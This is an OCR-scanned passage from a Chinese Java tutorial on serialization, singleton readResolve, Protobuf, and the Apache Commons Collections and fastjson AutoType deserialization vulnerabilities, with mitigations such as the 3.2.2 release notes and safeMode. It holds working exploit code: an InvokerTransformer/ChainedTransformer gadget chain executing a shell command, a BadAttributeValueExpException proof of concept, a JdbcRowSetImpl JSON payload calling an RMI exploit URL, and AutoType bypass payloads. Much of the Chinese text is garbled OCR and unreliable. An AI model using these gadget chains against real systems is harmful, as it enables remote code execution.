handles.lookupException (passHandle) == null &&
desc.hasReadResolveMethod())

Object rep = desc.invokeReadResolve (obj) ;
if (unshared && rep.getClass () .isArray()) {

rep = cloneArray (rep) ;

}

if (rep != obj) {

handles.setObject (passHandle, obj = rep);

return obj;

280
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code 3 FEBMEMIBOIE . SLNTE—ED:

code 3.1

Object obj;
try {
obj = desc.isInstantiable() ? desc.newlInstance() : null;
} catch (Exception ex) {
throw (IOException)

new InvalidClassException (desc.forClass () .getName(),"
unable to create instance") .initCause (ex) ;

}

XECEMNXN obj WK, MERAFEZERLBMNNSR, LT LIERIERAR
ObjectinputStream B9 readObject IREIRINTR .

P
ternary operator

AdEMATRAABE
:wazmﬁa—+m

sinstantiable: aNE8R— serializable/externalizable BIZER LATEIEITRS#ESLEI4L, ,
BRAZERIRE true. £H3T serializable 1 externalizable Z&EE S =R NME

JI%0o

desc.newlnstance: ZmEBIE RIS NEBLESIET EHHE— T UR.

PlA. ZIBRIALE, RiALARERE, AHARIMCRT LIRS 77
= PN aBEE R RS HRIEIES B — T FRINR .

BA, ETREAIBERNTHEE TR, MIbpLEFI R IR BAIE .

B LE PR IE A R B

FLEHBRLE, AeBREKDIFTRIE:

QEE Singleton EAEN readResolve FBJLARRIZ D :
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code 4

package com.hollis;
import java.io.Serializable;
/**
* Created by hollis on 16/2/5.
* AR R RS AR A 7 TS B B A5
=/
public class Singleton implements Serializable({
private volatile static Singleton singleton;
private Singleton () {}
public static Singleton getSingleton () {
if (singleton == null) ¢{
synchronized (Singleton.class) {
if (singleton == null) ¢{
singleton = new Singleton () ;

}

return singleton;

private Object readResolve () {
return singleton;

— e

BB TLA TS :

package com.hollis;
import java.io.*;
/**
* Created by hollis on 16/2/5.
%/
public class SerializableDemol {
//NTET AR, RS PR S BRSO R . HIESR DN T A E B
//Exception HILHIH
public static void main (String[] args) throws IOException, ClassNotFoundEx
ception {
//Write Obj to file
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream ("
tempFile")) ;
oos.writeObject (Singleton.getSingleton()) ;
//Read Obj from file
File file = new File ("tempFile");

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fil
e));

Singleton newInstance = (Singleton) ois.readObject();

//FIWTR T R F— A5

System.out.println (newInstance == Singleton.getSingleton());

//true
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RTEEBERP true. BFFIE, FfIEIILHSEDHT code 3 FRISE_RMAME:

code 3.2
if (obj !'= null &&
handles.lookupException (passHandle) == null &&

desc.hasReadResolveMethod())

Object rep = desc.invokeReadResolve (obj) ;
if (unshared && rep.getClass () .isArray()) {
rep = cloneArray(rep);
}
if (rep != obj) {
handles.setObject (passHandle, obj = rep);
}

WNRLIM T serializable 2k#& externalizable #O/RYZE

T8 5 R[] true .
B RIS B ER R FYCEYIZEAY readResolve 5%
FRLA, BRIBtHEER T, £E1E Singleton FENX readResolve 757k, HEZGEH

EEZREIRINIRAIERRES, #UETLALESBIHERE .

ISES

TEERAIFICRIIDSRET, BRINTEMEXTREIRIBEIR .

I

Protocol Buffer (f&#%r Protobuf) £ Google HmAIMEEESLS . BIES . BEAHE
HIMLEE

2001 %41, Protobuf B85t Google AEBEIE, FBEESIRZA protol, —HLIK
£ Google BIAEMER, HAtARHYEWL, RIBERAEINEREIRINRZHAIIEE,


http://www.hollischuang.com/archives/1140
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—LOREERIRE . /LB Google W AEEISERIE .

Google FHAFFRERINZIMBR, EAKMAIKXE, FLUBITRESSEE Protobuf
FREE

Hai Protobuf BIiaERAE 3.9.2, F2019F 9 B 23 Hk%H . AFRZSLAARE
BIRSRA T Protobuf, FRLARZINEATEER proto2 X, BEiIR proto2 1 proto3 &
AEERRIIRES

Apache-Commons—Collections IXMEZR, 1BEEEB— Java BFREARELE, X
B IEEEBIFRIES,

B2, tESEBLZWBHIFIINLERE, JLMRTIEAITI< .

O
Al

Apache Commons 2 Apache SXEEE=RIIE, Commons HEIIEIRMEAIE
B9, MASFMLiRRE RSB TR Java 115,

Commons Collections & Java xR Collections AP| 12t THEZ5Fa9%MN .
FUcEM FXTEE BRSUREIRIEEHIT 7 RIFAVEE | MRFINTE . 1EFRAIEFF AR FEE
FHOZRES, BHFIE T HEE, REAHEEEAKEHAED.

Commons Collections BI&#ThkZE 4.4, B2FEBCRTZAAE 3.X B9RAE . H
3L, £ 3.2 LARhAS, FE— RN ZeRE, TR BR#TaEsSHhiT.

XNIEE 2015 FEIRWIKE LR, BRI A—ERIRIXNREA"2015 FRHIT
SRR .

RAXNERENFERLARK 27, BXHPIHMIREZE Java Web Server, X
NEEELAHER T WeblLogic. WebSphere. JBoss. Jenkins. OpenNMS HIGRFH
hR o
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ZI&, Gabriel Lawrence ¥ Chris Frohoff @iz k#7E { Marshalling Pickles
how deserializing objects can ruin your day ) 2+ @I F B Apache
Commons Collection SET{EEARBHIT -

XM AMEEL AL Apache Commons Collections B9 3.2.1 LATRhRAS, AX{E
FB 3.1 frAs TR, JDK hRAS Java 8.

FIFA Transformer 5

Commons Collections H2HT—" Transformer #0, TEZ22rTLABHITEE
LN, ITMEOE—ITLUERRINENSKXENEBNRBEEXN, BH2
InvokerTransformer,

InvokerTransformer 12t 77— transform 75i%, 5 &% OB RE 317, &
YERFL =BT R RHMENRII S ITLAI, AEHITHE iMethodName 5%,

transform(0b
B ) {

MEZRFBAN iMethodName IZEEFHENZSH iArgs HL#H 2
InvokerTransformer ZEESLANMENREFHRRY, XN ERIRIERHR0T :

InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
{ :I

PR, EREXAE, Ee ERLBAMTEEEE. BRA, MMETLFI BN EAE
Java PHITIMEERS
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BfIxnE, BEME Java FHRITINERGS, FTEER
AL, BBA, BEAISEEEIE LA E T HESTIIX A I8E

B, 817 InvokerTransformer USSR IR EFFAIERITII A ZLUNR 25

Transformer transformer = new InvokerTransformer ("exec",
new Class[] {String.class},
new Object[] {"open /Applications/Calculator.app"}):;

B, WIERE, BMKRELEEN , ATRISS R o
BI#JFF mac B EEAIitEEE (windows Tap<:
) o
SXf5, @1 InvokerTransformer SEEIRT ZERISCHIL:
transformer.transform (Runtime.getRuntime()) ;

EiTiERFRE, ST, FITRER ERHEIIER:

{andler.class

Irwol-r rTransformer

former.transform(Runtime.getR

21y, FAIEMETLARIA InvokerTransformer EEBINESHS T, BBREFRERE
E—NRAIBEENH InvokerTransformer BV FEF SR, AEBRFEIIW, Dif
TR AR S HT:
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ClassNotFoundE:

£ transformer IRFIMLEIXHH, BAXEFIEZRER, HFEWNTH
transform 753%, ®LI T W&+,

RS T?
B2, IRFBEREXABRAE, BXNRENZEHAEAIN T . AZERISTI T,

BARBUHSZEM

E7, X, F=8
ABRITEREHSRT,

MRRB TXITARS, BEELIPUTINBAF LA

XFMEFRAE Commons Collections gt — 1" ILEBPHM=2

ChainedTransformer, X182 Transformer AISCEIZE

ChainedTransformer Ei£# T —" transform A%, thHINEEEH Y
iTransformers #¢H, AREKTERE transform 3%, FESXEHRE— 1 N%, HE
XN RAILUWER T —IRIBERRISEL
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A, FATTLARIBRMFE, KBS
EHFERITRE:

Transformer|[] transformers = new Transformer[] {

//iBid N E /] ConstantTransformer KFIKI Runtime 2K

new ConstantTransformer (Runtime.class),
// FF getMethod 777, #AJG getMethod HVEH AT getRuntime /77, IR[A Runti
me.getRuntime () A%
new InvokerTransformer ("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
/ /SRR invoke J5i%, ARG RHFHAT Runtime . getRuntime () J7¥2%, R[Fl Runtime S 40X}

£
new InvokerTransformer ("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),

/1 T exec J7iE
new InvokerTransformer ("exec",
new Class[] {String.class },
new Object[] {"open /Applications/Calculator.app"})
bi

Transformer transformerChain = new ChainedTransformer (transformers);

AEZE|— transformerChain Zf5, EIZEBMAY transform 5%, ENEATSH
#AILA, $iT2E, LSS At & 2t FRIThAE :

BA, EaFVK, RENREENHRT 2L, TFTBFE—EEBEA
XEFRI T, REABGE

\

B=RYEREE, TieEEmETASE:
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ansformer(transformers)

1tStream( FileQutputStream(f))

WEEFSHETIL

B2, —RtAsE %EF%E%EFCEE’J FEIXEFRIRD .

BA, WEFBHIEE , BEIFEI"TEEEFREE".

F2, WHENE T Commons Collections FHEMT— LazyMap 2, X1
K9 get £78HA transform 7% ( Commons Collections FEHZEESREEH+ AL, )

A, WENKESEHMERERAR LazyMap #Y get 5i%, HEEEF Y
factory IRE R R FFILITRATT

JIREEER, BTLAE Commons Collections #AY TiedMapEntry 2289 getValue 75
ZLVEAE LazyMap B9 get i%, ™ TiedMapEntry 2209 getValue X &#EFH
toString()7EARE .
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public String toString () {
return getKey () + "=" + getValue();

public Object getValue () {
return map.get (key) ;
}

BA, WENKEIHMERT —L, REBR(IESHWIE— TiedMapEntry, #H
BT, XtF, REEAZEXNFIICZERINSR, ER(EAY toString 75%RY
A&, M=BEnRA bug.

Transformer transformerChain = new ChainedTransformer (transformers) ;
Map innerMap = new HashMap () ;
Map lazyMap = LazyMap.decorate (innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

A, toString RTERSIHRRISTEM, N BAIRHE(
, RERBIT:

tOutputStream( FileOutputStream(f))

nE, EERFELESEIEN TiedMapEntry FIIHENARS LIEEREER,
NAEEFERFIICZE, WRBAT toString MEwEE.
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RERFIL, MEWBE

B4, BRBAADE, IBRENENESFHRABTHTRFIIUAZ BRI T
We?

BITERIBRAIT , REBEATFREMTT

BEREEEN XN readObject 2 AAE EEHENZERR LazyMap &
TiedMapEntry B XEEMITT - AR Java RFIIHHE{E, STEBAXRAY
readObject 1%,

BT RANEZE, 2E(11#£ 3 T BadAttributeValueExpException.

AnnotationlnvocationHandler &£, IXE = BadAttributeValueExpException 31 :

BadAttributeValueExpException £2 Java FRHHN— 1M EE, Y
readObject 5iZBEZEAT toString 5i%:

I0Exception, ClassNotFound

.getName()

BBA, WEEREEENEIE TiedMapEntry BIXTRIREZSAEFRY valOb) 51T 7 .

B REERD, HATEM, RELL BadAttributeValueExpException ZEFHIR &R
£ val & —1 TiedMapEntry ZERRIITRFHIT T -

XFER T, BT REIPEEsE:
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Transformer transformerChain = new ChainedTransformer (transformers) ;

Map innerMap = new HashMap () ;
Map lazyMap = LazyMap.decorate (innerMap, transformerChain) ;
TiedMapEntry entry = new TiedMapEntry (lazyMap, "key"):;

BadAttributeValueExpException poc = new BadAttributeValueExpException (null) ;

// val R AR, B CAR R A AT A

Field valfield = poc.getClass () .getDeclaredField ("val");
valfield.setAccessible (true);

valfield.set (poc, entry);

F2, X, WEMIFEFRT, RFEZIE BadAttributeValueExpException X3
KU FHTE, REXIMFHENSERFIN, BAMSEK T

xception, Illegal xception {

eam(f))

AL, BAIEWMWTIXA Apache Commons Collections ZESKAI—MNMIRFII
BXIOEEABHITRE.
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B NEEIDH, FAATLUAI, REE— TS BERIAETE, HMABESH
WEERNA.

HAAXPTREAZIWEERK, TLIERKBERXZEMBEESRT, ARERSE
¥ Apache Commons Collections ZEEHKE 3.2.2 irA, BI0l&EIXEE.,

Release notes for version 3.2.2

Commons collections is a project to develop and maintain collection classes based on and inspired by the JOK collection framewaork. This projest is Java 1.3 compatitle, and does not use Java 5 generics.

This 3.2.2 releasa s a bugfx release, fixing several bugs present in the previous releases of the 3.2 branch. Additionaly, this releasa provides a mitigatian for a known remote code explotation via the standard java object serialization machanism. By
default, serialization support for unsafe classes in the functor package is disabled and will result in an exception when either trying to serialize or de-serialize an instance of these classes. For more details, please refer to COLLECTIONS-580.

All users are strongly encouraged 1o updated 1o this release,
Compatibility
This release is fully source and binary compatible with 3.2, For changes since the 3.1 release see the 3.2 Release Notes. Note that the method ‘protected java, util.Set createSetBasecOnListava.util Set, java.utilList)’ has been added.

Security Changes

COLLECTIONS-  Serialization support for unsafe classes in the functor package is disabled by defaut as this can be explofted for remote code execution attacks. To re-enable the feature the system property
580 *org.apache.commons. collections.enableUnsafeSerlalization” needs to be set o *true”. Classes considered fo be unsafe are: CloneTransformey, ForClasure, InstantiateFactory, InstantiateTransformer, InvokerTransformer,
P typeCl actory, izationFactory, WhileClosure.

For a full list of changes in this release, refer o the Change report

3.2.2 IRA—EARLZ 2R Java ERFIMUSIFIBINT FX, BOARXKARE. &
RIS EE

CloneTransformer

ForClosure

InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory,
WhileClosure

07 InvokerTransformer Z£74, B2 7 R34 E X079 writeObject()F1 read
Object()Fi%:

writeObject((
checklr

Ut
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ERANTES, HITTFIIHRERERRLE, RIGSEH BT :

UnsupportedOperation

yleProperty

TR FIIERET, SRENT —EAL2RFIINITEE KRN,
INRZEERRY, BPAFSHE , B
IREIX MFERIFFX

¥ Apache Commons Collections F#&E 3.2.2 LAfg, HUTXHRALEE, KBRS
LU

Exception in thread "main" java.lang.UnsupportedOperationException: Serializa
tion support for org.apache.commons.collections.functors.InvokerTransformer i
s disabled for security reasons. To enable it set system property 'org.apache.
commons.collections.enableUnsafeSerialization' to 'true', but you must ensure
that your application does not de-serialize objects from untrustedsources.

at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerializat
ion (FunctorUtils.java:183)

at org.apache.commons.collections.functors.InvokerTransformer.writeObject (Inv
okerTransformer.java:155)

[Ei&

AXNAT Apache Commons Collections BIASEARAFHI— N FHCTRIE
WMRIRFNEARN Z G, seBBLUATEE, IPARNRIBRIFILE T :

1. (BEZRASRY, A bug #2R LU
2. NHREMEE, —EEERERLZEMTR
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3. EERAHLEENIR, BHWXEELZERBR, —BAREEL, B3 LA
4. BEPIRANE, WEELSEMLRER, —~m bug #BAJEHAIA

SERH:

fastjson KKR—EEAPELE, XERAMEEEFFE— JSON #ifE, BEEBAETE
Java Bean #1 JSON =ZEfFE2ZEi# 75,

HUERAYE), fastjson #BRHEZXEFHERRE, REXERKETXMAE)L, HEEET
FHREEN

BRIEA—IHRE, BEXTINZRMATASMERERE? TRETERRK, X5
TT fastjson B9 releaseNote LUK ER RS

BARKEI, XHESLH fastjson FA9— AutoType $FEF%X,

M 2019 £ 7 B &R v1.2.50 —E3% 2020 £ 6 B &K v1.2.71 , 8 MhRA
TR FERB T AutoType BIFEK -

TE=Z fastjson FIE 5 releaseNotes &1, JLAXTF AutoType HIEEFK:

1.2.50 &%, 1438 AutoType FTFFITRIZ2M fastjson

1.2.60 &%, 18BI0T AutoType BEH, BEIEEIRS LT ST fastjson

1.2.61 &%, 0 AutoType ££EZE fastjson

1.2.62 &5, 1800 AutoType BRE8 . 1EEHEBRFIULF JSONPath fastjson
1.2.66 &%, Bug EEZ2NE, FEMEZLME, 77T AutoType BEE

fastjson


https://commons.apache.org/proper/commonscollections/release_3_2_2.html
https://p0sec.net/index.php/archives/121/
https://www.freebuf.com/vuls/175252.html
https://kingx.me/commons-collections-java-deserialization.html
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1.2.67 &%, Bug iBEZ2ME, #7577 AutoType EEZE fastjson

1.2.68 &5, ¥ GEOJSON, # %7 AutoType L8, (5IA— safeMode
MECE, BE safeMode f&, TiCABREMNBRE, #AdF autoType., ) fastjson

1.2.69 &%, EEF AR AutoType FFXGIIZE/mE, #M7ET AutoType BH
& fastjson

1.2.70 &0, 1=FERSM, T T AutoType BEE

EZETFE fastjson BIFFEES, 5— Issue REIEERMEAT autoType AIRRA:

52 ZI B SR — N HrautotypeRIkRAs #3080
ChetWang opened this issue on 24 Mar - 2 comments

“ ChetWang commented on 24 Mar © -
EiBAT:
|ILRR H— T FiFautotypefIhf A
FMEUBR HE—TFFautotypefIhR A
SRR — A FautotypefUhR A

n

rufushuang commented on 26 Mar « edited - © -

BRI
HRIREEEL, HfastjisonEBNHAREX, BEEE. HURRE.

BIYFTRERIE, hXAEBRBIBENERMLESR, jarl. FEREZNTER, BFFRDUfastisonhxRFEE], HUESEE
RIBREEETIAR M.

BBA, (42 AutoType? R4 fastjson 5|\ AutoType? A4 AutoType &
SHZERER? AXHFKRADTIT—T

AutoType a5 #3?

fastjson B9FZEINEEH RS Java Bean FIILE JSON =/FE8E, XHERIFHFHRZ
ERATLUBE HUEES N TIFAK T .

BR, fastjson FEFRIIHIAN R FIICRNIRERFHIRBER Java Y=L,
MmEEEXT—EH,

HL, X3F JSON #EZekiR, BEIE— Java R F R, AJLAGRMIEE:


https://www.hollischuang.com/archives/1140
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cEFEM
« 27 setter/getter

mEAIFEBR JSON F34iESRS, Fastdson # jackson fEIEXN SR FII{LAL
json FRrEMEHER, RiEdEHHIZEFFE getter BiEHITAY. Gson HFARIXAM
89, tRESREIEDZEFHREELE, FHEEERIILH json.

BRFEMNEBLUT— Java 3

class Store {
private String name;
private Fruit fruit;
public String getName () {
return name;

t
public void setName (String name) {

this.name = name;

}

public Fruit getFruit () {
return fruit;

}

public void setFruit (Fruit fruit) {
this.fruit = fruit;

}

}

interface Fruit A

}

class Apple implements Fruit ({
private BigDecimal price;

//BW setter/getter. toString F

LINBIBHITFEIRIRR, fastison £FRBEFH getter Hi%, BIFKE
getName #0 getFruit, IXEHEFA SIS name 1 fruit B NFEERAVERYEE] JSSON Fi5E
I:P o

BBARERT , A EEAIENXA Fruit RR—P O, FIMLRIRE fastjson BE%
IEERMEERFIICERID? MNRAFLUAE, BBARFIICAIEHE, fastjson EXD
fruit RRFFILRT ASEELR?

M= BRIE—T, EF(fastjson v 1.2.68):
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Store store = new Store();

store.setName ("Hollis") ;

Apple apple = new Apple();

apple.setPrice (new BigDecimal (0.5));
store.setFruit (apple) ;

String jsonString = JSON.toJSONString (store) ;
System.out.println ("toJSONString : " + jsonString);

LI ERBBLL &S, HAIBIET —1 store, BftIEETEFR, FHEEIET— Fruit
AOFZEE Apple, FAFEIBIXAN store A JSON 1o JSONSHing 75K, STLUSEILL
T JSON H&E:

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}

B4, XA fruit BOZEEEIRRMH AR, BEBRFIULEL Apple IB? HATBRMATIUT
AER

Store newStore = JSON.parseObject (jsonString, Store.class);
System.out.println ("parseObject : " + newStore);

Apple newApple = (Apple)newStore.getFruit () ;
System.out.println ("getFruit : " + newApple);

TSR T

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}

parseObject : Store{name='Hollis', fruit={}}

Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastj
son.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple

at com.hollis.lab.fastjson.test.FastdJsonTest.main (FastdsonTest.java:26)

HJLAEE, 585 store RFFICZIE, FllI=ITAF Fruit #6165 Apple, BEHIE TR
B, SEEEIRA Fruit WASIREE, -

Fruit newFruit = newStore.getFruit();
System.out.println ("getFruit : " + newFruit);

DUEMSR, HMME, S—1MEFEET—MED (THRE) OHE, EER
fastjson HATFIICRIATIR, FREERE, RIREBEZEO (MREK) AUEE, FERF
T A2 R RIASRE .
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BBABAANERIXNAZENE, fastison 5INT AutoType, BITERFIICAIRTHE,
ERIAERNCFE K,

FERFERBIT SerializerFeature. WriteClassName #7HrE, BN BRI

String jsonString = JSON.toJSONString (store) ;

String jsonString = JSON.toJSONString (store,SerializerFeature.WriteClassNam

e);
BIET, LAERHS, BHERNT:
System.out.println ("toJSONString : " + jsonString);

"@type":"com.hollis.lab.fastjson.test.Store",

"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5

by

"name" :"Hollis"

TLLEZ, £/ SerializerFeature. WriteClassName #17FriciE, JSON &8t
ZHET— 1M Otype FR, tnET7TRNMARIGEE, HEERFICRIIHEEEIBRSE
;_}ItJO

Wk, BEICENZEGFRERFRII, BERJLURFIRIZZEI—1 Apple 288, (K
HAS:

toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"Aty
pe":"com.hollis.lab.fastjson.test.Apple", "price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}

getFruit : Apple{price=0.5}

X#E AutoType, LAK fastjson 5|\ AutoType KIRRA .

B2, BERXMEE, EAENRRITZIELZESFTES SN BEAS, tEFELE
fastjson fEAET R T TREVES .
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AutoType fA#EZHE?

EAET autoType Ih8E, BBA fastjson EXF JSON FRFeEFHI TR FIILAIATE,

F=1sEEL FNE, B JSON AR FIMURIXNMNER, HFESERXIEN
setter ik,

BRAF AT LAR X MEF M, Be@ia— JSON =578, HEER BE— 1N E
CREEFERIKESEE.,

207, EERERERNKEEER , X2

sun ERLRMA—1EEE, X2 dataSourceName tFEHEAN— rmi BYIR, =@t
XA uri BIBFR, BAESHF rmiimiEEA, EIEERY rmi it RIERTTIE.

m fastjson ERFINHNSEABERERN setter 5%, BBAUNREER
JdbcRowSetimpl B9 dataSourceName iR E 7T —MEEHITHHS, BIAHESHR
EENER,

B LA BEHE— JSON &, BIaJsLilint2an ST (FERHIRAR, FhRAH
JdbcRowSetimpl EE#IN T EEE ) :

{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:
1099/Exploit", "autoCommit":true}

Xt eFmBEiZEasSiTRE, R BRIEANEE BirikSeE B RSsEiTm<S .
FERHARY fastjson WA (v1.2.25 ZFi1) , EA AutoType REIAFER, HEH
RBHARS, JLUREEEN.

M V1.2.25 FFa, fastison BRHAXKIA T autotype 235, FEIIANT checkAutotype,
AT BEB+BE8 8K autotype FFEHIE R

B2, BRMNXNIHEFS, 2= fastjson {EEZ BB ZEHFERT .
K79 fastjson AKX A T autotype <85, HEM T ZABZEIIRE, FFLALEGEAG
AL R 7 "{a 5T checkAutotype”,
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TEMEMEE—FZNRAR fastjson FEFEERRRUNRKEGIRE, BT RHEIERS,
XEBHASHBEEZMET , NRARBENEBHEE RN E— RN EHEAT . NTERY
AT EE2R LB, BRIRRASRENEIERSMNEEN,

£219 checkAutotype, BZE5 fastjson HIEZE
£ fastjson v1.2.41 Z#&i, 7£ checkAutotype BIRAEF, S TREHZEANTIE,
WMREBRFIHIEAEREBDZRYR, BATSNBIRR#HTRFIIK,

BEEMEANTIZS, fastison B—ERAFHAINIE, gt EEMRINESEHES
1= className BiIfSRI L #0;, #Za0 o

Class<?> loadClass(String className, ClasslLoader classLoader cache) {
(className != && className.length() != @ && className.length() <= ) {
Class<?> clazz = (Class)mappings.get(className)
(clazz !'=
clazz
} (className.charAt(0) ==
Class<?> componentType = loadClass(className.substring(1), classlLoader)

Array.newInstance(componentType ).getClass()
} (className.startswWith( ) && className.endsWith( Yt
String newClassName = className.substring( className. length() - 1)
loadClass(newClassName, classLoader)

MEAZRENZET startWith R, A BEREEB CEEERNITRER
0k L M FAUSGREEAERNE T, tBAELRE fastjson IEENIE .

an , SEETAZERIE, SAF fastjson £
INERABHESERIERIERY L F0, TR T Yo

AT BRHEWE, HZE v1.2.42 A, ERTREESRCNARE, fastjson
SeHTERERIEZRIRIERE L #;, MNREANE, MaBU=pfEr L f1,BEHTEAE
BRIRES

EVBRTEE, ERBERANTXMINZE, MENENEBRRRIENS
5, XEBEREEZ BTSN . a0

Bs—R, @5—. & v1.2.43 1, fastjson X EEZAZE¥ZE, 8Ny —
NREL UL RFFLAIET, ARBEMRZELLLL Frk, BARBEEMEE, FERMEEN
BET7TXRE.

EERE | MIXBEERAETY, FTEREBNENEMIMS TF, EX fastjison FEINEEAIET
&, AR L ARSI TSR, IRXT RS R IR T o

EHNKEFE, EERERERM, v1.2.43 LARIRIFBIRAN S T .

T2, & v1.2.44 A, fastjson BIEEM T BENIFERIER, REBIRELF L
HELLER, HMEENSE. BHERT v1.2.43 RAEERAFEIA bug,.
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FEZRRYLNRAS, BENEZNRESIMERIERZET, M fastjson BEAR
#rRYEEB CRIER R,

autoType AFFEEEEAREE?

BEFSFIK, EFRE v1.2.47 RAR, BEBREE TNERKS. MEXPMK
HRBEE autoType XFRIBHEA 3

A2 REFRE, autoType AHBRMESHEILT

E AT fastjson FE—1EBERF, TRINFIHRE, R autotype i&FE, =it
EXMNEFFIREZE, MREFTE, WEHRED, 2EIEEABXENGITTHRE.

EEHRBINEIE— PN RINBEFS, AREXTHIRMER T LISRITEAR RN T,
ZABPNFR.

BRBEE— M RZRPRIENFIEFT, FRER— DN FIERZREPTRIZE, XM

£ java.lang.Class.,

java.lang.Class K3IMAY deserializer 3 MiscCodec, &FFIMHATSEN json S
89 val (EFIIENX A val JIRAIZE,

W05 fastjson cache 4 true, MESEFIXA val XIRMRY class EIE£BEFF .
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WRBIXNNE; val BFRAYZE, F B autotype i&FFBR, T—EiERe=idiNeBEET
FREUX class, #HmiHTHE.

FA, BERFEEREERNELTHTT, A s:
{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}

F27%F v1.2.48 th, fastjson 127X bug, £ MiscCodec &, 42 Class 2219
#r5, IRE7T fastijson cache A false, XEWEHEEMRASHET 7, BHMASHIREE]
7o

EZENSMRAT, BES fastjson X E—EEESHIRZE ., HINBZ8chift
7REhE.

BEIEk, BERE v1.2.68 ZRIRMRAH AT T — P #HRREFABL .

MRSEHITEE

£ fastjson #, R, @type IBEERIZES Throwable BIFE, BEXINAIRFEZIL
RMBEEFS(FEAE ThrowableDeserializer,

M7 ThrowableDeserializer#deserialze B975%%, BE—1NFERH key B2
@type BY, FISIEX value HRE, AFHIT—IR checkAutoType @il

FHHIBE T expectClass 9 Throwable.class, {B27 checkAutoType &, BiX
H—2E, IFRNERIEET expectClass , BBAtBEBIIRLE

(expectClass != 1) 4
(expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz)

clazz

JSONException + typeName + + expectClass.getName())

& fastjson xR FIMLAIRHEEZIX NI TERERY getter 757%, ™ Exception £
#B— getMessage %,
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EEOETREN—1EE, HEESH getMessage FiAE) T WEHEER.

T

XN wiEE 6 B 2RRERIINTERE", EERSEFAKERFEFFAREIFIR
mo

XNRIEE v1.2.69 FRIES, TREEH AR THEITIEER expectClass #1T
TIEM, FET 4 DRI, HESEERRY Class EKARIHIBES hash RIFIER

HsL, RIE fastison WEBXENA, BMEAFHREFIR, £ v1.2.68 ] LIAEE
XA, AiFLRFER safeMode,

AutoType Z£ER?

BIAER, XLERBEIFBILFEEESE AutoType k89, T2, £ v1.2.68 i,
5|IA\7T safeMode, Et& safeMode [, TICABRENRERE, &AZiFautoType, &
—ERE L ERNRFYIME Gadgets KM .

RE T safeMode f[5, @type FERABER, BIHE@EFTFW{"@type": "com.java.
class"}#9 JSON EiY, BABRFPICEITRAYIZE,

FiE safeMode AN :

ParserConfig.getGlobalInstance () .setSafeMode (true) ;

NTEARNRIBFHIARILRSREIF, ERULERBFE safeMode B, #1718, &
BEILUTRE:
Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not
support autoType : com.hollis.lab.fastjson.test.Apple

at com.alibaba.fastjson.parser.ParserConfig.checkAutoType (ParserConfig.jav
a:1244)

BEEETIENIE, FRXNINEE, fastjson £EEEME autoType Th8E, BIE
checkAutoType &, BERE—FE.
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Class<?> checkAutoType(String typeName, Class<?> expectClass features) A

(typeName == ) {

1= 0
(AutoTypeCheckHandler h : it
Class<?> type = h.handler(typeName, expectClass, features)
(type != {
type

safeModeMask = Feature.
safeMode = -
|| (features & safeModeMask) !=
- —{JEON.
(safeMode) {
JSONException( + typeName)

(typeName. length() >= || typeName.length() < 3) {
JSONException( + typeName)

[Ei&

Bl fastison B&&MET v1.2.72 RA, HERAFFENEMBREFTRA 1

FrREULEE B SEMR fastison AREIE&#HR, FHEMRABPAFEZRE
AutoType RYIE, AILAEEER safeMode, BREFE NXIHBAABAIFN.

&7 fastison BEEX T FIMLIT RS, FEER asm RARBRNES . (ER%EF. F7F
BMTREFXMUEFHZN, AKEFAT FIR R FIHLRIZER.

ZRIBMAIIEL
FFUCETE REFFIH 8] Ky EBEAN
javaFFFIt, 8654 43787 889 541
hessian 6725 10460 501 313
protobuf 2064 1745 239 149
thrift 3177 1949 349 197
avro 3520 1948 221 133
json-lib 45788 149741 485 263
jackson 3052 4161 503 271

fastjson 25085 1472 468 251
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SR, REERI AR T — L2t @, XEARTEINY.

&a, HXEABIR/LE, B2 fastjison REEEFIRLRM, EREFA, X
PMREXHD aHBEEFE RS — P AERIRITE4HFRY,

MFEEMRR: "BPIVFE—EZNER T8 iZER JSON E, mEfE/L
FEHEE—EIE, MEX—R, BMEA “WDOTRLIFENRTFRA" , SZX%E.

HsL, X7 fastjson imEH@&, WERISEERSAEEY, EREHRZIEARE
ZHIRLE TIERNES .

fastison BRIZEFEEPLLRERI—, TLIREERXE, LA T 22
MRNER, MUSE-LERENRERAR. HERDESiRIBME:

"MARILREELL, EERNEERE I IERANA . RFAIREHARRNMES
BLEBDAI—MAI, "

MAERSXEEITR, £ LT iRS—Nal, mEANE, XSWRRT.
EAEBRERAR, BEAREIFTHLUSEIRE], XikbE T HA?

B RIER2EF B I SR4IR fastjson 1E...

&fE, ME7 fastison R ERES/EFENRERZE, HLUWHEESFKIK, "
ENEA"fastjson 7 ...

i fastjson! ML EARE! BENED!

SEHN:


https://github.com/alibaba/fastjson/releases
https://github.com/alibaba/fastjson/wiki/security_update_20200601
https://paper.seebug.org/1192/
https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0
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¥

WEER, i EXEMIEOTEE o bl Override XMNERE, #ifAR— 17Tt
f#, MEREIYITEEEN KA.

@Target (ElementType .METHOD)
@Retention (RetentionPolicy.SOURCE)
public Q@interface Override {

}
XEMER @Target @Retention FEITiEAE.
TTEREN N @Target (RNZFETLUBTAHAMT ) . @Retention (R RET

ARFFREFZIRER ) . @Documented (BFMREEHE javadoc H) .
@Inherited ( FVFFERAFRLEFHITRE ) »

